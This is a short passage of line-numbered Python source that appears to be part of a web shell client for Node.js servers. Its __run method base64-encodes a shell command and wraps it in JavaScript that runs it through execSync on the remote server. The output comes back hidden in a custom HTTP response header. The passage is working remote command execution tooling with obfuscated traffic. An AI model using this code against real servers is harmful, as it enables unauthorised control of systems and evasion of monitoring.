| 63 | @throw CommandException if there is a connection error. |
| 64 | """ |
| 65 | def __run(self, command: str): # relies on execSync being imported |
| 66 | encoded = base64.b64encode(command.encode()).decode() |
| 67 | out = self.__eval(f"try {{" |
| 68 | f"let out = execSync(Buffer.from('{encoded}'," |
| 69 | f"'base64').toString('ascii')," |
| 70 | f"{{cwd: '{self.directory}'}});" |
| 71 | f"r.setHeader('{self.header}'," |
| 72 | f"Buffer.from(out).toString('base64'));}}" |
| 73 | f"catch (e){{" |
| 74 | f"r.setHeader('{self.header}'," |
| 75 | f"'RXJyb3IgcnVubmluZyBjb21tYW5kLgo=');}}" |
| 76 | f"r.end();") |
| 77 | return base64.b64decode(out).decode() |
| 78 | """ |
| 79 | @brief Run commands to be evaluated as JS code. |
| 80 | @param command the command to be ran as a string |